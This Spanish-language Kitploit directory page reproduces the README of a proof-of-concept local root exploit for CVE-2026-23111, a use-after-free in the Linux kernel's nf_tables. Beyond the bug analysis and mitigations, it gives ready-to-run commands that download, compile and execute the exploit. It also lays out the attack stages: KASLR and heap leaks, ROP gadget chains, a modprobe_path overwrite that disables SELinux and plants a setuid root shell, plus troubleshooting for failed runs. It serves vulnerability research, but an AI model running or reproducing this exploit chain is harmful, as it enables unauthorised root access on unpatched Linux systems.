Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-23111 — Uso después de liberación en nf_tables del Kernel de Linux (CVE-2026-23111) — PoC de escalada de privilegios local | Kitploit
Herramientas/GitHubGitHub/baba01hacker666/cve-2026-23111
Escalada de PrivilegiosForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónIngeniería InversaPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHubbaba01hacker666/cve-2026-23111

CVE-2026-23111

Uso después de liberación en nf_tables del Kernel de Linux (CVE-2026-23111) — PoC de escalada de privilegios local

Ver Repositorio
72hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC de CVE-2026-23111

Desbordamiento de memoria después de liberación (Use-After-Free) en nf_tables del kernel de Linux (Escalada de privilegios local) poc por baba01hacker

Resumen de la vulnerabilidad

  • CVE: CVE-2026-23111
  • Tipo: Use-After-Free (CWE-416)
  • CVSS: 7.8 (ALTO)
  • Componente: net/netfilter/nf_tables_api.c — nft_map_catchall_activate()
  • Causa raíz: Verificación de genmask invertida provoca fuga del contador de referencia de cadena durante la anulación de transacción

Versiones del kernel afectadas

Rango de versionesCorregido en
6.19-rc1 a 6.19-rc86.19-rc9+
6.13 a 6.18.96.18.10
6.7 a 6.12.696.12.70
6.4.1 a 6.5.xEOL (sin corrección estable)
6.3.10 a 6.3.xEOL
6.0.x, 6.2.xEOL
6.1.36 a 6.1.1626.1.163
5.15.121 a 5.15.1995.15.200
5.10.188+, 5.4.262+, 4.19.316+Varias LTS

Detalles de la vulnerabilidad

CVE-2026-23111 es un use-after-free en nf_tables causado por una verificación de máscara de generación invertida en nft_map_catchall_activate(). Durante la reversión de una transacción fallida, los elementos catchall del mapa de veredicto que fueron desactivados por NFT_MSG_DELSET deben reactivarse para que referencias como las referencias de cadena NFT_GOTO se restauren. La ruta de activación catchall, en cambio, omitió elementos inactivos y procesó los activos, dejando elementos catchall desactivados sin restaurar.

La lógica de activación catchall no correcta es:

root@kitploit:~
if (nft_set_elem_active(ext, iter->genmask))
    return 0; /* omitir activo, procesar inactivo */

La ruta catchall vulnerable usó la condición opuesta:

root@kitploit:~
if (!nft_set_elem_active(ext, genmask))
    continue; /* omitir inactivo, procesar activo */

Cuando se revierte un mapa de veredicto pipapo eliminado, esto impide que nft_setelem_data_activate() se ejecute para el elemento catchall inactivo. Para datos de veredicto NFT_JUMP/NFT_GOTO, la referencia de cadena tomada por nft_data_hold() no se restaura. Repetir la secuencia de abortar/alternar/eliminar puede llevar chain->use a cero mientras otra regla aún contiene una referencia de veredicto válida a la cadena. Un DELCHAIN posterior puede liberar la cadena mientras sigue siendo accesible, creando el UAF.

Flujo de activación

root@kitploit:~
Crear tabla, cadena base, cadena víctima y mapa de veredicto pipapo con catchall NFT_GOTO -> víctima
        |
Lote 1: eliminar el conjunto pipapo, luego forzar un error de transacción
        |
La ruta de anulación llama a nft_map_catchall_activate(), pero la verificación invertida omite el catchall inactivo
        |
El catchall permanece inactivo y el contador de referencia de la cadena víctima no se restaura
        |
Lote 2: confirmar una transacción benigna para cambiar el cursor de generación
        |
Lote 3: eliminar el conjunto pipapo con éxito, decrementando nuevamente la referencia de la cadena víctima
        |
Lote 4: eliminar la cadena víctima mientras el veredicto de la cadena base aún la referencia
        |
Use-after-free cuando la evaluación de paquetes o el volcado de reglas siguen la referencia de veredicto colgante

La corrección ascendente es eliminar la negación para que nft_map_catchall_activate() coincida con nft_mapelem_activate(): los elementos activos se omiten, los inactivos se reactivan y las referencias de veredicto/objeto se restauran durante el manejo de anulación.

Solo prueba

root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json

Ejecutar PoC en una línea

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d

v2 Alternativa en una línea

Use esto si el PoC completo/v1 falla en el kernel objetivo.

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d

Compilación local

Instale primero las dependencias de compilación si el compilador no puede encontrar los encabezados libmnl/libmnl.h o libnftnl:

root@kitploit:~
scripts/install-build-deps.sh
# o
make deps
root@kitploit:~
make          # Compilar exploit (solo PoC)
make v2       # Compilar exploit v2 (enfoque FuzzingLabs — probar cuando v1 falla)
make full     # Compilar exploit LPE completo
make v3       # Compilar v3 variante de ruta de evaluación calibrada
make run-d    # Ejecutar PoC con salida de depuración
make run-v2-d # Ejecutar v2 con salida de depuración
make run-v3   # Mostrar uso/ayuda de v3
make run-full # Ejecutar LPE completo

Etapas del exploit

Fase 1: Disparo UAF ✅ FUNCIONANDO

Crea un conjunto de mapa pipapo con un elemento catchall (goto cadena víctima), luego usa el error de genmask invertido durante una anulación de DELSET para corromper chain->use. Después de avanzar el contador de generación, DELCHAIN tiene éxito a pesar de las referencias colgantes, liberando la cadena.

Fase 2: Fuga de KASLR ✅ FUNCIONANDO

Después del UAF, la memoria de chain->name se libera. Rociamos estructuras seq_operations (32 bytes) abriendo /proc/self/stat para reclamar la ranura de caché slab liberada. Leer la regla de veredicto inmediato de la cadena base mediante NFT_MSG_GETRULE vuelca el nombre de cadena reclamado, filtrando punteros a funciones del kernel. La validación de punteros asegura que solo se acepten direcciones de texto canónicas del kernel.

Fase 3: Fuga de dirección del heap ✅ FUNCIONANDO

Vuelve a disparar el UAF con un nombre de cadena más largo (140 bytes → kmalloc-cg-192), luego rocía objetos nft_rule para reclamar la memoria. Los punteros list_head filtrados revelan direcciones del heap en la región del mapa directo.

Fase 4: Secuestro del flujo de control y ROP 🔧 Marco completo

  • Dos reglas de 192 bytes con datos controlados rociados para nft_expr_ops y nft_rule_blob falsos
  • Direcciones del heap de la Fase 3 usadas para enlazar punteros blob falso → expr_ops falso
  • Rociado de datos de usuario de tabla de 128 bytes para sobrescribir blob_gen_0 de la cadena liberada
  • Cadena ROP: commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq
  • Gadgets ROP escaneados automáticamente de /proc/kcore
  • Paquete de activación enviado a través de la cadena base para invocar expr->ops->eval secuestrado

Exploit v2 (Enfoque FuzzingLabs)

El exploit v2 (exploit_v2.c) usa las técnicas descritas en el artículo de FuzzingLabs y se puede usar cuando el PoC v1 falla. Diferencias clave:

Cadena de fuga v2 (lectura arbitraria de init_ipc_ns)

root@kitploit:~
init_ipc_ns + 0x118  →  msg_ids.xa_head  →  msg_queue (puntero etiquetado)
msg_queue + 0xc0     →  q_messages.next  →  dirección heap de msg_msg

Cada paso usa la estructura de cadena liberada como primitiva de lectura arbitraria: los datos de usuario de la tabla (128 bytes) reclaman la nft_chain liberada en kmalloc-cg-128, y una dirección del kernel colocada en el desplazamiento 0x40 (donde reside chain->name) es desreferenciada por el kernel durante los volcados de elementos de SET_B.

v3 Calibración del heap y cadena ROP (modprobe_path)

La etapa del heap de v3 se predice por desplazamiento en lugar de ser una primitiva de lectura arbitraria verdadera a través de eval. Calibre el objetivo antes de ejecutar el rociado final:

root@kitploit:~
grep msg_msg /proc/slabinfo
# Cruce con la densidad de objetos kmalloc-cg-2048, luego ejecute con:
./exploit_v3 --msg-msg-addr 0xffff...
# o, cuando el valor se conoce en relación con la base del kernel filtrada:
./exploit_v3 --msg-msg-delta 0x...

Verifique los desplazamientos de la estructura nftables contra la compilación exacta del kernel:

root@kitploit:~
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)

El escaneo de gadgets usa /proc/kcore; si está restringido, extraiga gadgets de vmlinux sin conexión y codifique direcciones en relación con la base del kernel filtrada. La ruta de evaluación de paquetes de v3 usa push rdi; pop rsp porque rdi = expr; esto difiere de la ruta de validación de v2, donde rsi = expr.

root@kitploit:~
push rdi; pop rsp; pop rbp; ret           ← pivote de pila (rdi = expr)
pop rdi; ret → &modprobe_path              \
pop rax; ret → "/tmp/pe\0"                 │ escribir modprobe_path
mov [rdi], rax; ret                        /
pop rdi; ret → &selinux_state             \
xor eax, eax; ret                          │ desactivar SELinux
mov [rdi], eax; ret                        /
pop rdi; ret → 10000                       \
msleep                                      │ mantener kernel vivo

El script /tmp/pe se ejecuta como root cuando el kernel invoca modprobe_path después de encontrar un formato binario desconocido. Crea un shell setuid root en /tmp/rootbash.

Cuándo usar v2 vs v1

  • v1 falla en fuga de KASLR: v2 usa NFT_MSG_GETELEM (ruta de código diferente del kernel) en lugar de NFT_MSG_GETRULE
  • v1 falla en fuga del heap: v2 usa la variable global init_ipc_ns para recorrer estructuras de datos del kernel en lugar de rociar objetos nft_rule
  • v1 falla en secuestro: v2 usa msg_msg-2k (búfer grande y estable) en lugar de nft_rules + datos de usuario de tabla para la carga útil ROP
  • v1 falla en escalada de privs: v2 usa modprobe_path (funciona sin swapgs/iretq) en lugar de commit_creds + cambio de espacio de nombres
  • Kernel tiene SLAB_RANDOM/endurecimiento: las cadenas de objetivo init_ipc_ns de v2 apuntan a un global estable, haciendo que el diseño del heap sea menos crítico

Detalles técnicos

El error

En nft_map_catchall_activate() (net/netfilter/nf_tables_api.c):

root@kitploit:~
list_for_each_entry(catchall, &set->catchall_list, list) {
    ext = nft_set_elem_ext(set, catchall->elem);
    if (!nft_set_elem_active(ext, genmask))  // ERROR: debería ser sin '!'
        continue;
    nft_clear(ctx->net, ext);
    nft_setelem_data_activate(ctx->net, set, catchall->elem);
    break;
}

El ! hace que la función omita elementos INACTIVOS en lugar de procesarlos. Durante la anulación de transacción, el elemento catchall (que fue desactivado por DELSET) se omite, por lo que nft_data_hold() nunca se llama para restaurar el contador de referencia de la cadena.

Mecanismo del exploit

  1. Crear conjunto de mapa pipapo con elemento catchall → goto cadena víctima
  2. Lote A: DELSET + operación no válida → abort → chain->use permanece en 0
  3. Lote B: Transacción válida → avanzar genid
  4. Lote C: DELSET → tiene éxito
  5. Lote D: DELCHAIN → cadena liberada (chain->use == 0, pero existe ref colgante)
  6. El elemento catchall del conjunto aún referencia el nombre de cadena liberada → rociado + lectura

Archivos

root@kitploit:~
├── CVE-2026-23111-checker.py   Script de detección de vulnerabilidad (--detailed, --json)
├── exploit.c                   Exploit PoC (UAF + fuga KASLR + fuga heap)
├── exploit_v2.c                Exploit v2 (enfoque FuzzingLabs — probar cuando v1 falla)
├── exploit_full.c              Exploit LPE completo (UAF + fugas + cadena ROP)
├── exploit_full_aarch64        Binario aarch64 precompilado (estático)
├── exploit_full.b64            Binario de exploit completo codificado en Base64
├── Makefile                    Configuración de compilación
└── README.md                   Este archivo

Requisitos de compilación

root@kitploit:~
apt-get install -y libmnl-dev libnftnl-dev gcc make python3

Compilación cruzada (aarch64)

root@kitploit:~
apt-get install -y gcc-aarch64-linux-gnu
make aarch64

Compilación de depuración (con AddressSanitizer)

root@kitploit:~
make debug          # PoC con ASan
make debug-full     # Exploit completo con ASan

Script de verificación

El verificador realiza múltiples métodos de detección:

  • Coincidencia de versión: Verifica la versión del kernel contra todos los rangos vulnerables conocidos (incluyendo kernels rc)
  • Detección de módulo: Verifica si el módulo del kernel nf_tables está cargado
  • Configuración del kernel: Lee CONFIG_NF_TABLES de /proc/config.gz o /boot/config-*
  • Verificación de símbolos: Busca nft_map_catchall_activate en /proc/kallsyms
  • Configuración de espacios de nombres: Verifica el sysctl kernel.unprivileged_userns_clone
  • Puntuación de riesgo: Combina todos los indicadores en una puntuación de riesgo de 0 a 6
root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed   # Legible por humanos con mitigaciones
python3 CVE-2026-23111-checker.py --json        # JSON legible por máquina

Solución de problemas

Referencias

  • FuzzingLabs - Reproduciendo CVE-2026-23111
  • Blog de Exodus Intel - Análisis detallado
  • Entrada NVD
  • Parche del kernel 1
  • Parche del kernel 2

Mitigación

  1. Actualice el kernel a la versión parcheada (6.18.10+, 6.12.70+, 6.6.124+, etc.)
  2. Desactive los espacios de nombres de usuario sin privilegios: sysctl kernel.unprivileged_userns_clone=0
  3. Incluya en lista negra el módulo nf_tables si no es necesario:
    root@kitploit:~
    echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
    
Descargar herramienta
Componentev1 (exploit.c)v2 (exploit_v2.c)
Disparo UAFUn solo conjunto + regla goto inmediataDos conjuntos (estilo FuzzingLabs) + regla de búsqueda
Lectura de KASLRNFT_MSG_GETRULE (volcado de reglas)NFT_MSG_GETELEM (volcado de elementos) + respaldo GETRULE
Fuga del heapRociado nft_rule + fuga de list_headCadena de lectura arbitraria init_ipc_ns
Anfitrión ROPnft_rules + datos de usuario de tablamsg_msg-2k (mensaje de 2048 bytes)
Disparo de secuestroEvaluación de paquete en goto inmediatoEvaluación de paquete en catchall de conjunto superviviente
Escalada de privilegioscommit_creds + switch_task_namespacesSobrescritura de modprobe_path + desactivación de SELinux
Ruta de retornoswapgs; iretqmsleep() (permanece en kernel)
ProblemaSolución
mnl_socket_open: No such file or directoryAsegúrese de que el módulo nf_tables esté cargado: modprobe nf_tables
unshare: Operation not permittedRequiere espacios de nombres de usuario sin privilegios. Verifique kernel.unprivileged_userns_clone=1
Batch A did NOT abortEl kernel puede estar parcheado o el comportamiento de genmask es diferente
No kernel pointer leakedEl endurecimiento de KASLR o SLAB_RANDOM pueden estar activos; intente múltiples ejecuciones
No heap pointer foundLa tasa de colisión del rociado del heap es probabilística; reintente o aumente el recuento de rociado
Compilación: nf_tables.h: No such fileInstale los encabezados del kernel: apt install linux-headers-$(uname -r)
Error de enlace: referencia indefinida a mnl_*El orden de enlace importa: -lnftnl -lmnl (nftnl antes de mnl)